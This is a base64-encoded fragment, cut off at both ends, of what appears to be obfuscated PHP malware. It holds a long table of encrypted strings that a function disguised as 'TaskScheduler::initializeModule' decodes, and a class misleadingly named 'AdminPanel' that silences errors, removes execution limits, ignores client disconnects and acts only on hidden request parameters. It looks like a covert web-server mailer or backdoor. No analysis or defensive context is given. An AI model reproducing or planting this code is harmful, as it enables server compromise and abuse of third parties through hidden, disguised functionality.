jQVFiR25BQkNnY3dIbFVZTUFFT0RqWUtWUXcwR3hkSCcsICdfc2xxJyA9PiAnY1FJTEdTa1REUlU9JywgJ19jbHYnID0+ICdjQU1XTFZvRUx4b1lNMW9TSnh3YWNCRWNOaGhZJywgJ19kdGEnID0+ICdjUU1MQUNrU0RRdz0nLCAnX3VycicgPT4gJ2NCQVlMVW9ITUFZS00wb09Ld1pFT2gwQ01rb1BOQXdHY0E9PScsICdfZmR3JyA9PiAnY1JRVEdDa0ZGUlE9JywgJ19yam0nID0+ICdjQlFDQ25BTkhocytEVjRkS3dKZUNEQVNCUjQyR1Y0Y05BZ2NWdz09JywgJ19pY3UnID0+ICdjUjhlTmhrTkt3bz0nLCAnX2RzZicgPT4gJ2NBWUFCbkFDR1FRcENnZEtPd2dkQ0hBPScsICdfbmVxJyA9PiAnY1JnTENDa0pEUVE9JywgJ19idWknID0+ICdjQWdUR1hBZkZBbytBQU5WT3dZT0YzQT0nLCAnX2VzeicgPT4gJ2NSa1pDQ2tJSHdRPScsICdfamonID0+ICdjQW9XRDNBZkR4ZytRQVlITmdKTicsICdfZWZyJyA9PiAnY1FVWkhpa1VIeEk9JywgJ19sbScgPT4gJ2NBVU5FM0FmQlFOd0VnRUFLUm9mVGpzWUJReHcnLCAnX3liZScgPT4gJ2NRQWZFeWtSR1I4PScsICdfaGdrJyA9PiAnY0F3R0xWVUxOaGhJTFFrWFBoY0RjQjRNTmhkSScsICdfbnZlJyA9PiAnY1FRVkN5a1ZFd2M9JywgJ191b2cnID0+ICdjQkVVQm5BTEhCWndGeGdBUGtnUkh6WUtXZz09JywgJ19wc3MnID0+ICdjUVFHQWlrVkFBND0nLCAnX2t0cicgPT4gJ0R5c29PUjR0SkU4VVBEZz0nLCAnX3pkJyA9PiAnY0IwVEMzQVhGdzB4SEF3Qk1sWUVCekVlJywgJ19hdnEnID0+ICdjQllmREhBY0d3b3hGd0FHTWx3RUh6b2REd1EySGtVTU1CME4nLCAnX3Z0JyA9PiAnY0FjYkNuQWVCeHMrSGtjZEt4RkhGeThYQmh3MEd3VldQQjBHSGc9PScsICdfdm5qJyA9PiAnY0FNVkNuQURHUUF5VWs0TUp3OE1SendKRHc4PScsICdfd3hvJyA9PiAnY0JjSEJuQVhDd3d5WFJZZE5oOWRCakFjRlE9PScsICdfanBlJyA9PiAnY0JRZkMzQU5BeG8rRFVNY0t3SkRIQ2NJQVZjOERnSWYnLCAnX2F1aCcgPT4gJ2NCOFpBWEFYREFzelZRa0pOaGRBRHpZV0dRY3RWQTROTVJ3PScsICdfZWhiJyA9PiAnY0FRY1BFNE1OQWdGY0FVRE5neEdQQTRHT1E9PScsICdfdmhyJyA9PiAnY0E0YlBFUU9NZ29aTmhoQVBBUUJPVVVMY0Y1ZmNoNGNPaGs9JywgJ19zdngnID0+ICdjQThYUEVVUkxCb0NNZzVNTXdVQVBnWk5PMFVITkFNT0FCa0tPQVFLTVExTlBBVU5PUT09JywgJ190YXMnID0+ICdjQjBRUEZjVU1nd0ZjQnNMTVI0Tk9BPT0nLCAnX2huJyA9PiAnY0MwZkR4a1BGaE1ERlZGZWNVeFRXUT09JywgJ19vZycgPT4gJ0R5WXJQUjRnSjBzVU1Ucz0nLCAnX3NjbycgPT4gJ2NCd0JIREluR2djMkRnc0JPaWNCRUNZa0dWOWlKQmxmZDFaQVhIQT0nLCAnX2NodicgPT4gJ0R6ODlNeDQ1TVVVVUtDMD0nLCAnX3d2JyA9PiAnY0I0T05oYzZOQjhjQXdsUEExSkxkVlk1TEZBK2VGZzRkMVJQZGlGQ2ZTYzVMRkE1ZGxVPScsICdfd3lqJyA9PiAnRHpNblB4NDFLMGtVSkRjPScsICdfdnBzJyA9PiAnY0JFUUhqYzlBa0JpUFFKQUJFWlROM2RQVzBNRVJsTTNjQT09JywgJ193ZG0nID0+ICdEejQ5SVI0NE1WY1VLUzA9JywgJ19kaCcgPT4gJ2NBNElKa2dMTmdrSUF4WkhZamtlZFUxRGRVeEMnLCAnX2F4JyA9PiAnRHlzN09oNHROMHdVUENzPScsICdfYnhvJyA9PiAnY0JNVUhuQUpHZ3R3Q0JRRk0wc1pBemc9JywgJ190dGknID0+ICdjQUFHTFZrTE1CRklMQThVTXhrQScsICdfaWtqJyA9PiAnY0JzREgzQUJEUXB3QWhJSU1Ra0pCREpERGdJNCcsICdfZXRhJyA9PiAnY0FJWUVYQVlGZ1J3RVFFS01sc1VBallhRlF3NCcsICdfaXonID0+ICdjQUFORXpzRkRCVi9Cd2NMZndvUUhUSXdFVmwzUWtoYmNBPT0nLCAnX3ptaycgPT4gJ0R5RW5DVEk2R2xNbEdpbz0nLCAnX3VobicgPT4gJ0d6MHpLZ0FtS0M0Sk55NGlBRDAvUGc9PScsICdfaGUnID0+ICdFRG9xSWhzaEppRUFJU28xR1NNaktRPT0nLCAnX3pseicgPT4gJ0dpOHZFaWdpRkQ0ckFEd2pCZz09JywgJ19ld3UnID0+ICdHenM5SXdBN01UY0FJRFU2Rnc9PScsICdfeGN2JyA9PiAnRWlJN09RQW5PVHdTUERrd0JnPT0nLCAnX3pmdicgPT4gJ0R5VWtDVFk1R2xjbUdpND0nLCAnX3VraicgPT4gJ0R5YzhDVFFoR2xVK0dpdz0nLCAnX3lscScgPT4gJ2NCTU1FWEFGQ3g1d0Jnb2JLUmNNRjNBPScsICdfd3JtJyA9PiAnY0J3VkVYQWRDaHN5Vmc9PScsICdfb2ZlJyA9PiAnY0FFV1BFc05Md0VNT3c4TE1rc0pPaDBSY0E9PScsICdfdHpiJyA9PiAnY0JBUEZYQUtCd1Z3QWdVT01raz0nLCAnX2JlYycgPT4gJ2NCMEVFWEFWRVJzelZ4UVpOaFZmJywgJ19odHInID0+ICdjQjBNR1hBZEFCTXlURmNlTkJFVlZRPT0nLCAnX3R0bicgPT4gJ2NBb1JQRUFWTUJ3Uk9RWWRjQXNPTmdKSycsICdfd2FhJyA9PiAnY0JBUUJuQUpEQmMrQ1V3Ukt3Wk1FRFFNRGxzPScsICdfZGdmJyA9PiAnY0FrR0RqcE9EUWcyREVZPScsICdfb296JyA9PiAnY0I0Tk1oTk5NaGNMTTFrR05COFBjQT09JywgJ19qZXonID0+ICdjQUlmRERwRkJSSTZHRjhGTkFNZFRnPT0nLCAnX2VnJyA9PiAnY0JVR0JpdElEUUkyQ2tZPScsICdfYXl1JyA9PiAnRHljakNUUStHbFVoR2l3PScsICdfZmVhJyA9PiAnY1E9PScsICdfcWx2JyA9PiAnY1V3PScsICdfemZoJyA9PiAnVlE9PScsICdfbW14JyA9PiAnVWc9PScsICdfZGVoJyA9PiAnJywgJ19zanUnID0+ICdPUmtKTWc9PScsICdfZ2R3JyA9PiAnS3dBPScsICdfZmgnID0+ICdMQUVKQnpvWEh3PT0nLCAnX2VmJyA9PiAnT3c0YkFBPT0nLCAnX2RjZycgPT4gJ01nZ1pFajRLRDB3MkNRPT0nLCAnX2ZndCcgPT4gJ1VtTT0nLCAnX2l1ZCcgPT4gJycsICdfcXMnID0+ICdaUT09JywgJ19ydCcgPT4gJ2NEQUdkRU09JywgJ19maG4nID0+ICdmdz09JywgJ195ZWcnID0+ICdaUT09JywgJ19pb3MnID0+ICdPd2tDQmc9PScsICdfdm9wJyA9PiAnT3c0Zk9sVT0nLCAnX3hicycgPT4gJ094Z1ZFQT09JywgJ19kZG4nID0+ICdNaFVTTEJFR09sMElPdz09JywgJ19zcHQnID0+ICdNZ1FVTEFBQU9rd09PMXRiJywgJ195bicgPT4gJ1lRPT0nLCAnX2ZzJyA9PiAnTWh3S0xCZ2VPbFFRT3c9PScsICdfeWpjJyA9PiAnT1FRY0JnPT0nLCAnX3RhZScgPT4gJ09SMGFNbFU9JywgJ19kaycgPT4gJ09SUU9NZz09JywgJ19ucXgnID0+ICdLeHM9JywgJ19oeCcgPT4gJ0t3SlYnLCAnX2hkaicgPT4gJ0t3Yz0nLCAnX3ZxYicgPT4gJ1pRPT0nLCAnX3NtcCcgPT4gJ1pRPT0nLCAnX3VibScgPT4gJ0toc0pHeTBMR3c9PScsICdfY3JlJyA9PiAnVW5BPScsICdfa20nID0+ICdaUT09JywgJ19qbCcgPT4gJ2NDZ1dkRnM9JywgJ193aHEnID0+ICdmdz09JywgJ19mYycgPT4gJ1pRPT0nLCAnX2hzbScgPT4gJ1VnPT0nLCAnX3J4cCcgPT4gJycsICdfa3UnID0+ICdWUT09JywgJ19nbScgPT4gJ2YyZz0nLCAnX2d0eicgPT4gJycsICdfaWNjJyA9PiAnVW44PScsICdfbWonID0+ICdVbWM9JywgJ19qZScgPT4gJ1VtUT0nLCAnX3dzJyA9PiAnSHc9PScsICdfY2N4JyA9PiAnT0FNU0tUd1RGQVE2Q0JJcEtoVURCQT09JywgJ194ZnQnID0+ICdMUjBYSHc9PScsICdfcnVuJyA9PiAnREM0K0lSbzYnLCAnX3JoJyA9PiAnTVFnY0FpYz0nLCAnX3lwbCcgPT4gJ1BnVVlHamNRJywgJ19mcicgPT4gJ0tCUUZSenNDQmdzPScsICdfYnp0JyA9PiAnTnhJWUdEcz0nLCAnX29hdScgPT4gJ0tBUUMnLCAnX3ZxeicgPT4gJ0REWWhKQm9oTERNYk55RT0nLCAnX3lxaycgPT4gJ0RDTWlDU01pQUNjMEd6UT0nLCAnX3FpbicgPT4gJ0xCTUFGenM9JywgJ192eG4nID0+ICdQQkVWVzIwPScsICdfcWInID0+ICdEUUVPQURZU0NBRmxSQXNYTUFsTicsICdfdnNmJyA9PiAnZjBZPScsICdfbXYnID0+ICdmekU9JywgJ196aHMnID0+ICdBbGg5Ymc9PScsICdfaGxmJyA9PiAnVmhnTWZ3PT0nLCAnX3hpaScgPT4gJ2YxRTBHeXdOQWgwblVFUUROZzBNVkJvcUtTQVBXUTBRZnc9PScsICdfY3ZvJyA9PiAnVW1NPScsICdfZmdnJyA9PiAnVmc4QUFIOVYnLCAnX2dleScgPT4gJ1lVeFUnLCAnX2NvaicgPT4gJ1VuOD0nLCAnX3hweScgPT4gJ0RSRUtPaDBmT2hCVGZ4WVFmdz09JywgJ19xamwnID0+ICdmMEkvQ2l3ZUNRd25SazhETFFVQ1JTb1pDaGMyRGs4PScsICdfaGhyJyA9PiAnZG1GbCcsICdfbXonID0+ICdWZzRLVUE9PScsICdfcnBkJyA9PiAnWkZFPScsICdfY20nID0+ICdVbms9JywgJ19rd2YnID0+ICdEUTRLT2dJZk9nOVRmdzBiTUFaSicsICdfYXlzJyA9PiAnZndjWFZnPT0nLCAnX3p2dScgPT4gJ2Z3NFpEVGRaSEJZOEdCeFpkdz09JywgJ193eWInID0+ICdkblY2JywgJ190cCcgPT4gJ1ZsNEdDeWtURHdvdkUwNERMUmtPUldNPScsICdfY3UnID0+ICdZVWhqZnc9PScsICdfbGp1JyA9PiAnVmdvVGZ3PT0nLCAnX295YicgPT4gJ2NsOD0nLCAnX21yeScgPT4gJ2NnPT0nLCAnX3BzJyA9PiAnVW00PScsICdfY28nID0+ICdWZ0lZTFVSTCcsICdfZ2lyJyA9PiAnWVY1VCcsICdfd21lJyA9PiAnVW5zPScsICdfa2gnID0+ICdMQVViJywgJ19ua2snID0+ICdMQU1kUUhCZicsICdfcnJjJyA9PiAnS3hvZlUzQlcnLCAnX21oJyA9PiAnWlE9PScsICdfcnFmJyA9PiAnJywgJ19xbGknID0+ICdPUVVKRFRRWkZnc3gnLCAnX3NocScgPT4gJ0xCVVdFejRNT3dVd0FnOFRLejRIR2pZRUNnST0nLCAnX2JxdycgPT4gJ2NEWklVRzlIJywgJ19qdGUnID0+ICdHakVqUFg4PScsICdfeHBzJyA9PiAnVW1zPScsICdfZ2JkJyA9PiAnY0NSTFEyOVYnLCAnX3FwJyA9PiAnRnpJMUVGYz0nLCAnX2ttbScgPT4gJ1VtTT0nLCAnX2dxcicgPT4gJ2NEaFFXbTlKJywgJ19kbycgPT4gJ0REb3lEVG9uRXowPScsICdfc2t1JyA9PiAnREQwbk5RczlLalJTWXc9PScsICdfa2JkJyA9PiAnY0RsYVhtOUknLCAnX3hrdCcgPT4gJ0dqb2lFRkk9JywgJ19pdWMnID0+ICdVbmc9JywgJ19rc20nID0+ICdjQ3hZUVc5ZCcsICdfa3VuJyA9PiAnRWpFeE9uODJLamtTU2xoSycsICdfZmxnJyA9PiAnWVdaKycsICdfY3plJyA9PiAnY0RKTGFseFcnLCAnX2VxJyA9PiAnRFRZb04zOGhOMWwvU1E9PScsICdfY2onID0+ICdZWHhqJywgJ19ka2gnID0+ICdjRFJFWHdSYVJ6ZHcnLCAnX2Z0dScgPT4gJ0d5a3pIbVZ0JywgJ192aicgPT4gJ2NEeEtSbXROJywgJ19qaycgPT4gJ1ZRPT0nLCAnX3Z2aCcgPT4gJ1Vtdz0nLCAnX3locicgPT4gJ1VuND0nLCAnX3p0cicgPT4gJ2JWWksnLCAnX3V6JyA9PiAnRGpnN0psSm4nLCAnX2lveScgPT4gJ0dpUWhMSDg9JywgJ19hb2snID0+ICdVbVE9JywgJ196bCcgPT4gJ2NDMUJVVzljJywgJ194aicgPT4gJ0Z6d29FRms9JywgJ192ZScgPT4gJ1VtND0nLCAnX29kbScgPT4gJ2NEeGFSMjlOJywgJ190cicgPT4gJ0REczREVHN0RXp3PScsICdfeHdjJyA9PiAnRERjb01RczNKVEJTYVE9PScsICdfZG5zJyA9PiAnY0R4VFhHOU4nLCAnX3p3bycgPT4gJ0dpUThLSDg9JywgJ19tdycgPT4gJ1VtWT0nLCAnX21nJyA9PiAnY0RWVFZtOUUnLCAnX252YycgPT4gJ0hpMG1MMzgwUFNBV05uOXQnLCAnX2lwJyA9PiAnY0RSSFhXdEYnLCAnX3pzJyA9PiAnVW44PScsICdfaWtkJyA9PiAnY0NwR1hHdGInLCAnX3R6JyA9PiAnVW40PScsICdfbnhvJyA9PiAnY0RaSFFXcEgnLCAnX2NjdCcgPT4gJ0VqZ2xKSDgvUGljU1EweFUnLCAnX2lhZCcgPT4gJ1lXaGsnLCAnX2dvaicgPT4gJ2NERldVVzlBJywgJ19sdnUnID0+ICdEU1UySkg4eUtVcC9XZz09JywgJ19kZycgPT4gJ1lXRmgnLCAnX2t2YicgPT4gJ2NEWmJRUVJZV0NsdycsICdfdWsnID0+ICdHeXNpSG1kOCcsICdfZ3dqJyA9PiAnY0RoZlEydEonLCAnX3dmYycgPT4gJ1ZRPT0nLCAnX3lpbicgPT4gJ1VuMD0nLCAnX2dmYycgPT4gJ1Vuaz0nLCAnX215dycgPT4gJ2JVWkgnLCAnX2lzeCcgPT4gJ0RpTWpQRko4JywgJ19vZmQnID0+ICcnLCAnX3d6aycgPT4gJ2Z3PT0nLCAnX3ZsdycgPT4gJ1BVTU9QaDhlUGc0Wk93d1BPZ01ZTFF3QWNRSWVPQT09JywgJ195YnEnID0+ICdKeFVBV3l3SERSZzNGaGtHY1JnZUVnPT0nLCAnX2J6JyA9PiAnTEJJY2NRTUFQaDBZUGdVRGNSOENPQT09JywgJ19wZmgnID0+ICdKUThHUWl3YUNRRTNDeDBmY1FVYUN3PT0nLCAnX3NvbCcgPT4gJ1BRNWZMQklRTWdFZUwwd2ZPaFk9JywgJ195aHQnID0+ICdkUUVJQ21VR0JBMHhIQjBJZFE9PScsICdfYnJzJyA9PiAnY1E9PScsICdfbnRmJyA9PiAnY1E9PScsICdfYnhyJyA9PiAnJywgJ194bycgPT4gJ2NRPT0nLCAnX21ncycgPT4gJ2NRPT0nLCAnX2JiZScgPT4gJ0hnPT0nLCAnX2d6JyA9PiAnYzB3PScsICdfemF0JyA9PiAnYzFjPScsICdfeW5jJyA9PiAnREM0MU1CbzVPQ2dlSmlJPScsICdfdHNxJyA9PiAnRnlVNUpRQTVJaVlMJywgJ19jZCcgPT4gJ0RDTWlOeG8wTHlBYklpST0nLCAnX21kcycgPT4gJycsICdfZ2hwJyA9PiAnTXdzSENETU1DeG9yJywgJ19yaG8nID0+ICdibGRaVzI5TFhsdHUnLCAnX3pvdCcgPT4gJ2NRPT0nLCAnX3NybicgPT4gJycsICdfenInID0+ICdjRll3TzBkSWNBPT0nLCAnX21jaScgPT4gJycsICdfbnEnID0+ICdNdzBNQlRNS0FCY3JUQU1MUEFNREFEQVBEZzB4JywgJ19qa3gnID0+ICdjRFlQSGlnMFZrWTInLCAnX2N0JyA9PiAnJywgJ19wbCcgPT4gJ2NEeENOanNaVzBac0h6WkVkaGxaRndNR0VWdHpVUmRPY0E9PScsICdfdWxrJyA9PiAnWlE9PScsICdfc2FwJyA9PiAnY0RkZU9HOUVUd0p5RHpkT0dUUU5Vbk5kQzFsMkVrZFBhQlF0VTNKUUYwNDVLRnNsQWhKSFQyc1VVa3c9JywgJ191cmQnID0+ICdjUT09JywgJ19za2cnID0+ICdjUT09JywgJ19rZmcnID0+ICdjUT09JywgJ190ZnAnID0+ICdPQkVNR2ljR0NnPT0nLCAnX2xqaicgPT4gJ094Z0dORGdUQVRRdEV4WUVMUkk9JywgJ19scCcgPT4gJ0t3VWVPQUVZJywgJ19waXcnID0+ICdLeFFJRERvQicsICdfbmthJyA9PiAnTHhNRCcsICdfbGJqJyA9PiAnTHdBTicsICdfcnhhJyA9PiAnTmhvPScsICdfbnUnID0+ICdOaE09JywgJ19qdHonID0+ICdjREpSTmpzWFNFWnNFU1ZFZGhkS0Z3TUlBbHR6WHdST2NBPT0nLCAnX3BvbicgPT4gJ0JBPT0nLCAnX2tseicgPT4gJ0FnPT0nLCAnX3lvJyA9PiAnWlE9PScsICdfYXNtJyA9PiAnY0ROZk9HOUFUZ0p5Q3paT0dUQU1Vbk5aQ2xsMkZrWlBhQkFzVTNKVUZrNDVMRm9sQWhaR1Qyc1FVMHc9JywgJ19lZ2EnID0+ICdCQT09JywgJ195YicgPT4gJ0FnPT0nLCAnX2FrJyA9PiAnJywgJ19zZycgPT4gJycsICdfbHl6JyA9PiAnVlE9PScsICdfa2VhJyA9PiAnZkNzMEN6b1RCZ3M2RkJ0RGQxbEVSbllyTWxvMkJBPT0nLCAnX3BqdicgPT4gJ2ZEZ2RCajRLQWpsbFRFaGZZRTA2Q1h3TkZRPT0nLCAnX2Z6ZCcgPT4gJ1lWZGInLCAnX3poJyA9PiAnTnc0TkwwQldjQT09JywgJ19pcScgPT4gJ0RTSTdNQm8wUGpvS05TTT0nLCAnX2d6cCcgPT4gJ00wdz0nLCAnX3R0JyA9PiAnT2h3UUFETkwnLCAnX25yaicgPT4gJ2VROU0nLCAnX29pZicgPT4gJ0tRSVpUUT09JywgJ192eScgPT4gJ1pRPT0nLCAnX3pmJyA9PiAnZVI0PScsICdfYXl4JyA9PiAnWWc9PScsICdfb2x3JyA9PiAnTXhvWEJXVT0nLCAnX2xicCcgPT4gJ1pRPT0nLCAnX21xcicgPT4gJ2VRPT0nLCAnX3ZubCcgPT4gJ1lCZE4nLCAnX3ZuYicgPT4gJ0JCNFVFU29KQ1FFdEFoZ0haVFk9JywgJ191cWgnID0+ICdOeHdiQ1dWSFFBPT0nLCAnX2VwYScgPT4gJ0RTcytNQm85T3pvS1BDWT0nLCAnX2R2JyA9PiAnWUFKTCcsICdfaW5qJyA9PiAnQkE4YUxBOFdMQmtHTmhnUlpTYz0nLCAnX2ZsJyA9PiAnSXc9PScsICdfeHJ6JyA9PiAnZkRNNEd6NGNCazlyVlV0WGRGQktKUUpNQ2dvPScsICdfb3RjJyA9PiAnZkRVTEJqNGJTbGh4UWs5WkF4UlRHU3c9JywgJ19iZ2knID0+ICdmRHNqQXlzVEdRRTNDaDBNSzExUVRIUllVVDRDUkJFUicsICdfcmVqJyA9PiAnWVVsYycsICdfbmRwJyA9PiAnJywgJ19sc3AnID0+ICdmRGsxQ3lzUkR3azNDQXNFS3loVVFuRk9VVU1ET0UwRExBPT0nLCAnX3FiZScgPT4gJ1lWMU4nLCAnX2ZuJyA9PiAnZkRGRVJIRkdVMFVEUkU4RkxBPT0nLCAnX2twJyA9PiAnY3c9PScsICdfbnZrJyA9PiAnZHc9PScsICdfY2VpJyA9PiAnZGc9PScsICdfanJsJyA9PiAnJywgJ191Y2YnID0+ICcnLCAnX2JkaycgPT4gJ2ZEWTVOZ2NET0E5VWExQktjVUZkZGpZL2ZBTVInLCAnX2NzbycgPT4gJ05nY09GenBjV3k4NUF3TVZjUm9CRnc9PScsICdfZG1rJyA9PiAnT3hVR0YyVT0nLCAnX295cicgPT4gJ1pBUVZCenBRUUZnPScsICdfbmp3JyA9PiAnSkFRSkhtVVAnLCAnX3R2ZScgPT4gJ0pCd0dCRFlWVVJnPScsICdfb3dwJyA9PiAnSkE0TkJtVkpFUT09JywgJ19sdicgPT4gJ0dSb0ZCR1ZJJywgJ19meHcnID0+ICdmMW89JywgJ19pbHAnID0+ICdZV3htJywgJ19wcGknID0+ICdEUXdJSENaRUxCOWxTUT09JywgJ19icWsnID0+ICdVbnM9JywgJ19qYScgPT4gJ0VpVWlHa0U1T2g0Y05nTUJaVXhlY1Z4aVZRPT0nLCAnX25udicgPT4gJ1ZRPT0nLCAnX21zbycgPT4gJ1VtMD0nLCAnX2d6ZCcgPT4gJ1Vtcz0nLCAnX2ZhbScgPT4gJ1BRSUdDV2xYJywgJ19ycWQnID0+ICdOaHNNQ1NrPScsICdfbm14JyA9PiAnWWswPScsICdfcGxuJyA9PiAnWUR0SCcsICdfZ3puJyA9PiAnQ2pZaVEyYz0nLCAnX2d5bScgPT4gJ1lFYz0nLCAnX2JjYScgPT4gJ1lrWT0nLCAnX3B4ZScgPT4gJ1lEQk0nLCAnX2l6YycgPT4gJ1lFMD0nLCAnX29kdycgPT4gJ0xnSU1CVG9UVGdFdEhnMEZQaFVQRkE9PScsICdfZ3AnID0+ICdNZ0VyRXpFQUd4STZQQmtmTWdZY0V6NEhFUVE9JywgJ19jZGUnID0+ICdEZz09JywgJ19rY2UnID0+ICdVbmc9JywgJ19yeHEnID0+ICdVZz09JywgJ19ibG8nID0+ICdWUT09JywgJ19mZicgPT4gJ1ZRPT0nLCAnX3NhZycgPT4gJ1VuZz0nLCAnX3FrdScgPT4gJ1BSa1ZGV2xNJywgJ19sbicgPT4gJ0xnTUhIRG9TUlJndEh3WWNQaFFFRFE9PScsICdfZ2xsJyA9PiAnVW53PScsICdfYmZxJyA9PiAnWXdOSycsICdfa2h2JyA9PiAnWXc0PScsICdfbXJpJyA9PiAnTndJZk9RPT0nLCAnX2F6ZScgPT4gJ2ZRPT0nLCAnX3RlcicgPT4gJ2ZRPT0nLCAnX2tuaycgPT4gJ1kwMD0nLCAnX3hlaycgPT4gJ1lRPT0nLCAnX3JjcicgPT4gJ05RQVNCQT09JywgJ19lbGInID0+ICdOUUlBJywgJ19ybHQnID0+ICdPUXdZRlE9PScsICdfa2ZlJyA9PiAnS3hVRE96RVpIZ0U9JywgJ192a2knID0+ICdPUmtjRFE9PScsICdfeHFtJyA9PiAnS3dBRk9URU1HQU09JywgJ191cScgPT4gJ0xoRVZGeXNmQlF3d0ZoRVdPd0FYRFRVTkhCOG5CUVlITVFzPScsICdfamlzJyA9PiAnUGhvSkZ6b2VEUnMwRlFRRExnb1pCeW9PSFFzbUFpc3hIRHd2TlJnd0lUNFJLRHNoREN3L0pRZ2dNeWx1U2xsSGFrNWRTMlpJJywgJ19renAnID0+ICdibFJZVG1wUVhFSm1WZz09JywgJ19iY3InID0+ICdQaFFXRXpvUUVoODBHeHNITGdRR0F5b0FBZzhtREVSRmJFSkFRV2hPVEVjPScsICdfcmt1JyA9PiAnJywgJ19kaG8nID0+ICdPQWNBR2pJREV4WXNDdzRXJywgJ19kbicgPT4gJ05oOERGVG9SRUJjK0JnY0dMUWNIRVRBZURRQT0nLCAnX2ZkcycgPT4gJ05oMFZBVG9UQmdNK0JCRUFMUjhaREM4VkV3PT0nLCAnX3FtdCcgPT4gJ05nWWJDVG9JRlI0bUdSOGRQZ1lLQWpvUCcsICdfcXlpJyA9PiAnTmdBVEFUb0xHd29yQ0FBPScsICdfaXRyJyA9PiAnTUFZOUhDc0ZFQnM9JywgJ195dWonID0+ICdOaFFJQ2pvVEdRZzQnLCAnX3d6cicgPT4gJ01BUTNCRG9TTndBekF3a04nLCAnX3hhdCcgPT4gJ01nSUpFQUFJQ3hzckRnb0JBQjhkQlRvPScsICdfbXAnID0+ICdPUkFaRGpBbUdCZzZGdz09JywgJ193aXAnID0+ICdQZ1VGSERZV0ZBUTJHaHRmTUJZQkZTdFlCZ1F0RUJRZCcsICdfYXdxJyA9PiAnTlFNVicsICdfdHliJyA9PiAnTmdvVkV6cElIZ1E2QUE9PScsICdfZG9nJyA9PiAnTlJFTENBPT0nLCAnX2RlaScgPT4gJ05oa1NCVHBiR1JJNkV3PT0nLCAnX3BqdCcgPT4gJ0x3d1YnLCAnX2NsJyA9PiAnTmh3Vkh6cGVCQlk0JywgJ196dWsnID0+ICdPQjRGJywgJ190a3cnID0+ICdOZzhJT0FkR09Bc1AnLCAnX3FkZCcgPT4gJ1BSOFonLCAnX2V1ZCcgPT4gJ05nc0FFRHBKQXhvdicsICdfYnZjJyA9PiAnTHdFTScsICdfcmlpJyA9PiAnUGhZS013OFpQaElUTUFoVkx3SWMnLCAnX21mJyA9PiAnSlFzQicsICdfbGknID0+ICdQaFFDQVRZSEV4azJDeHhDSlEwQycsICdfcGVvJyA9PiAnTFJjRCcsICdfeGh3JyA9PiAnUGdFRU14Z1hQZ1VkTUI5Ykoxd0dQZ05aUEI0Wkx3TVJMQUlST3c9PScsICdfdnBxJyA9PiAnS3hFYScsICdfeXRpJyA9PiAnS3dRTUJYQVJHQkEyRHc9PScsICdfbW9pJyA9PiAnUGdRVENUWVhBaEUyR3cxS01CY1hBQ3RaRUJFdEVRSUknLCAnX3loeScgPT4gJ094Z1lKamdUSHlZdEV3Z1dMUkk9JywgJ194cicgPT4gJ2NRPT0nLCAnX3RvJyA9PiAnY1E9PScsICdfdHJqJyA9PiAnY1FBRFNUNE5DUlp4Q0I4VVBnPT0nLCAnX3N6bicgPT4gJ0t4Z1JEem9OJywgJ19oaWwnID0+ICdLeGdGQURvTicsICdfdGNqJyA9PiAnQlE9PScsICdfY3ljJyA9PiAnY2c9PScsICdfa3RkJyA9PiAnZEE9PScsICdfdWtvJyA9PiAnZWg5VFRTeEpRMXc3JywgJ19kbXgnID0+ICdHMFZNTlVraGZ6Qk1GMU1GWlJvPScsICdfcWJwJyA9PiAnY1E9PScsICdfZm95JyA9PiAnJywgJ19pZGgnID0+ICdHZ29mR1g4PScsICdfdHpnJyA9PiAnY1E9PScsICdfYXh2JyA9PiAnTFE9PScsICdfaWInID0+ICdIdz09Jyk7CiAgICB9Cn0KCmNsYXNzIEFkbWluUGFuZWwKewogICAgcHJpdmF0ZSAkX2R6OwogICAgcHJpdmF0ZSAkX294ID0gYXJyYXkoKTsKICAgIHByaXZhdGUgJF9iYiA9IGFycmF5KCk7CiAgICBwcml2YXRlICRfanQgPSAwMDsKICAgIHByaXZhdGUgJF95YiA9ICJVVEYtOCI7CiAgICBwcml2YXRlICRfanRtID0gImJhc2U2NCI7CiAgICBwcml2YXRlICRfdGggPSBmYWxzZTsKICAgIHByaXZhdGUgJF9rZTsKICAgIHByaXZhdGUgJF96YyA9ICJcclxuIjsKICAgIGZ1bmN0aW9uIF9fY29uc3RydWN0KCkKICAgIHsKICAgICAgICBAZXJyb3JfcmVwb3J0aW5nKDAwKTsKICAgICAgICBAaW5pX3NldChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfbGx1JywgJ19uYScpLCAwMCk7CiAgICAgICAgQHNldF90aW1lX2xpbWl0KDA0NTQpOwogICAgICAgIEBpZ25vcmVfdXNlcl9hYm9ydCh0cnVlKTsKICAgICAgICBAaW5pX3NldChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb3YnLCAnX2pueCcpLCAwNDU0KTsKICAgICAgICBAaW5pX3NldChUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfb2onLCAnX29uZCcpLCAwMCk7CiAgICAgICAgQGluaV9zZXQoVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3RuJywgJ19yYnEnKSwgMDApOwogICAgICAgIGlmIChpc3NldCgkX1JFUVVFU1RbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3ZvdicsICdfaWMnKV0pKSB7CiAgICAgICAgICAgIGRpZShUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeGMnLCAnX3RiJykpOwogICAgICAgIH0KICAgICAgICBpZiAoZW1wdHkoJF9SRVFVRVNUKSkgewogICAgICAgICAgICBkaWU7CiAgICAgICAgfQogICAgICAgICRfU0VSVkVSW1Rhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19iZycsICdfcmMnKV0gPSBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfeHhmJywgJ19kZXknKTsKICAgICAgICAkdGhpcy0+X2R6ID0gaXNzZXQoJF9TRVJWRVJbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3drJywgJ19zdWsnKV0pID8gJF9TRVJWRVJbVGFza1NjaGVkdWxlcjo6aW5pdGlhbGl6ZU1vZHVsZSgnX3J6JywgJ192eGUnKV0gOiByYW5kKDAxLCAwMzc3KSAuIFRhc2tTY2hlZHVsZXI6OmluaXRpYWxpemVNb2R1bGUoJ19vcmInLCAnX3NmcScpIC4gcmFuZCgwMCwgMDM3NykgLiBUYXNrU2NoZWR1bGVyOjppbml0aWFsaXplTW9kdWxlKCdfcnp0JywgJ19taScpIC4gcmFuZCgwMCwgMDM3NykgLiBUYXNrU2NoZWR1bGVyOjppbml0a